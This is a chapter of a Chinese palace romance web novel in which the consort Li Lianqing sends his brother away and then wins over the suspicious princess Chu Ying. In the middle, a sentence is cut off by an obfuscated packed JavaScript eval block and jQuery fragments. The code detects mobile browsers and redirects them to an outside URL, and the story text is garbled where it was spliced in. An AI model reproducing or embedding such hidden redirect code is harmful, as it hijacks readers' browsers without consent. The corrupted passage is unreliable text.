李连清回到屋内,背后的疼一阵接着一阵。
好不容易捱到了夜晚,却怎么也睡不着。
忽然,窗户被人掀开,一个人影跳了进来。
李连清愣了愣,坐在床上,喊了声:“三哥……”
李风砚快步走到他床边,捏住他的肩膀,着急道:“快给我看看你背后的伤。”
刚听说刺杀没成功,被自家四弟挡了的时候他就赶过来了,他的确功夫不行,但毕竟在江湖行走多年,去了那么多地方,轻功还是可以的。
溜敌营的事他都做过,进公主府更是小菜一碟。
手快要伸到李连清背后时,李连清却抓住他手腕,把他的手拿开了。
“你走吧,不要再管我了。”
李风砚恨铁不成钢:“我怎么能不管你!若她哪天不高兴要杀了你怎么办,在她身边多危险,你知不知道……你莫不是真对她动了心?我听二哥说你有个心上人,我不信你是如此滥情之人,是她逼迫你了是不是……”
李连清摇摇头,深呼吸一口气道:“她不会杀我的,我也不会杀她。三哥,你别再来找我了,也别再做这种事,那阁主也不是什么好惹的人。”
“我不怕死!”
“可我怕,怕三哥因为我死了。”
李风砚微怔,手轻轻放下,手指捏得发颤,“慕玄,你会死的。”
李连清笑着摇摇头。
他不会死。
殿下不会杀他。
他也……不会杀殿下。
——
“你是说,李风砚又不杀我了?”隔日,褚缨坐在榻上看书,便听见止期口中话语,倏而一笑:“什么理由?”
止期道:“就说不想,没说别的,他现在应当也在准备离开京都了。”
褚缨微微点头,吩咐道:“你让阁里的人盯着他行程,汇报给我。”
止期应下,随后又从腰封中拿出一张纸,递过去,褚缨接过,见上面密密麻麻的字,她吐槽了一句:“狗爬的字。”
止期一笑:“崔嵬的字向来如此。”
褚缨有些疑惑:“我倒记得前阁主还在的时候,他的字并不是这样的,倒是越活越回去了。莫不是丧葬店太闲,给他这个老板还当回去了?”
止期摇摇头:“这就不知了,或许是年龄大了,写字手抖……主子你快看信吧,都是这些天君主近卫的行踪。”
褚缨便边看边问。
“那些近卫还跟着在呢?”
“跟着呢,压根不掩饰,就是明面上盯着,不过据崔嵬所说,他们没有其他的举动。”
“什么举动都没有?”
“没有。”
褚缨看完了信件,思索着提笔写了回信,“你告诉他千万不要松懈,这事儿一时半会完不了,他那店,我会帮他关掉。”
“是。”
止期接过信件,转头去送信了。
然止期刚出去,褚缨脑子里还在思索这批人的具体去向,门又被敲响。
“进……”
门打开,是李连清。
看到他的身影,褚缨的思绪被打断,脑海中又浮现出昨日他救下自己的场景。
“……你怎么来了?”
但随即,又想到这李连清与君主的私交。
其实,褚缨知道,李连清哪怕是为了自己的前程,也不会放弃逃走,要逃走,必然会与君主有联系,君主放李连清入了公主府,要的,不就是更好知道她更多消息?
那她,便将计就计。
总之她,也会“死”的,她就是要让褚危知道,她有多恨。
“昨日刺客一事,我有些担心,所以来看看殿下。”
褚缨思索之时,李连清已经走进来,坐在了桌边,面前的茶杯也满上了,李连清将茶杯放在她面前。
褚缨不动声色压下信件,笑着回他:“无事。”
而后,沉默。
褚缨想着,自己不说话,他应当马上就觉得无趣,就会走了——
然后她便看见李连清从袖口掏出了一本书。
褚缨:“……”
怎么,君主让他监视的?
褚缨忍了一刻钟,见他一刻钟才看了一页,忍不了了。
她把杯盏往桌子上一按,杯底与桌面撞出声响,将李连清一惊,立马放下了书,慌慌张张拿起茶壶想继续倒。
褚缨捏着杯盏往后撤,茶水没倒进杯里。
李连清手一颤,又赶忙将茶杯放下,找桌布来擦。
刚起身,褚缨冰冷的声音传来:“你回去吧。”
李连清脚步一顿,机械般回头,看向她侧脸,“殿下……”
“你回去。”
李连清抿唇,袖口中的手攥紧:“为何?”
为何赶他走?
褚缨再次把茶杯重重放在桌上,随之站起身来,转身面对着他,“李连清,你什么身份,你不是清楚吗?若不是见你能听话,本宫,怎会要你?”
李连清愣在原地。
褚缨没再看他一眼,以为这样就好了,以往持耀君对褚危说那么几句重话,褚危便会跑走的,她以为,李连清也会。
于是说完了,转身便往门外走。
“咯吱”一声,门打开,褚缨的脚踏出去。
“殿下要去哪?”身后的声音却不依不饶,“让我跟着你好吗,我怕你出事。”
褚缨不耐烦,继续往外走,“我能出什么事?”
“昨日便有人刺杀殿下。”李连清跟上来道。
褚缨的手紧捏成拳,停下脚步,转身瞪他,斥道:“别再跟着我了!你还想被罚吗!”
“殿下罚完我了,能开心吗?”
李连清的声音没有丝毫犹豫,慌乱中还带上了几分尊敬。
“殿下,我知道我只是与季公子长得像,所以,您看中了我,可既然我已是驸马,我合该关心您的安危。”
褚缨瞪着他,眼睛如利刃一般,仿佛要将他剜开,声音也更加冰冷:“我要出去,难道你也要跟着我出去吗?我说过,不会让你离开公主府——你知道的,我会武功,我又能有什么事?”
李连清听了,却只是笑笑,阳光下,他笑得灿烂,声音也很温柔。
“可殿下,君主不知你会武功,我从未跟君主说过。”
褚缨一怔。
不对,这不对。
李连清在说谎,一定在说谎!
既然李连清已经看清了她会武功的事实,不可能不告诉褚危,绝对不可能!
褚缨步步逼近,阴鸷的眼神与他的温柔成了对比,走近了,她猛然抬手,将李连清的脖子狠狠掐住。
“你还敢骗我,李连清,你与君主是一伙的,我都知道!我那么真心对你,但你——”
“是,我与君主,有联系。”李连清没有否认,也没有挣扎,“可殿下,我没有骗你。”
褚缨的手缓缓缩紧。
她本也不想管了,这李连清与君主之间,她已经看清了这两人的勾结,总之,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419202|168951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
计划没有偏离轨道就好,可这李连清还偏偏要凑上来。
简直是找死!
褚缨被他一气再气,手往旁一甩,手掌松开,便将他摔在了地上。
“既然这么说了,你便也做好了被我杀掉的准备,是吗?”
“殿下,不会杀我的。”李连清忍住咳嗽轻轻说话,没有爬起来,而是顺势跪在了地上。
轻柔的声音落在褚缨耳中。
“君主可以给我高位,给我我想要的所有,而殿下只会强迫我接受我不想要的一切,我自然,会选择君主,会选择,逃离。”
“可殿下——”
他的话语没有丝毫停顿,仿佛怕被误会一般。
“我既然已经知道,殿下与君主之间矛盾如此之深,定然,也不会全然告诉君主,殿下的秘密。我不会让自己走到举步维艰的地步,不会让自己被殿下彻底厌弃,如今,我还在公主府,不会蠢到做那种事。”
褚缨低头看过去,将他眼眸看穿了,也只看到赤诚。
到了他面前,褚缨弯腰,掐住他下巴,迫使他抬头,眼睫低下去,遮住了眸中的光。
“你说,我要如何相信你?”
李连清目光灼灼:“殿下现在,要去哪?”
褚缨嘴唇微微勾起,道:“黄金轩。”
李连清笑道:“我陪殿下一起。”
借着阳光,褚缨端详着那张脸,掐着他下巴的手稍稍松了,于是,那张脸往自己掌心凑。
褚缨轻笑一声。
“好啊。”
褚缨顺着抚了抚他面颊,声音也柔下去,调笑道:“你这张巧嘴,倒是会说。”
李连清歪了歪脑袋:“从前便是这般,殿下如今才发现吗?”
褚缨摇了摇头。
然后,李连清直起身子,面容离她近了些。
她看见那张脸上的笑容,有些愣神。
就这么一瞬的愣神,唇上碰到了一丝柔软。
一触即分。
面前几分熟悉的笑容,与温和无比的话语一起,让她差点陷入其中。
“那往后,殿下,可不可以多关注关注我,我还有许多等待殿下发现的好品质。”
褚缨好久才回过神来。
回神后,手在他脸上轻抚,她望着面前人的面孔,忽然,红了眼。
李连清望着她,望见她眸中的悲切,一愣:“殿下……?”
下一刻,褚缨将他抱住,顺势跪在了地上,而后,轻轻的抽泣声落在耳边,李连清的心一抽,微微皱了眉,却没有说话。
片刻后,褚缨轻声问道:“李连清,你是在讨好我吗?”
太像了。
这样,太像了。
是……君主教的?
“我只是想要殿下开心,我怕昨日刺杀一事,扰了殿下心神。”
褚缨轻轻抽气,止住心头的酸涩,也松开了怀抱。
李连清看到那张漂亮的脸上还有泪痕,便抬手去擦掉。
指腹轻柔在她脸颊上擦拭。
褚缨紧紧抓着他袖口,似呢喃:“要我,开心吗?”
褚危,真是打得一手好算盘。
要李连清扮故人,要她真的陷入其中,无法自拔。
是这样的目的,是吗?
褚缨松了手,随后,手掌落在李连清脸上,微微一笑。
好,那就如你所愿。
就,如你们所愿——
褚缨抬头,一个绵长的吻落在他唇上。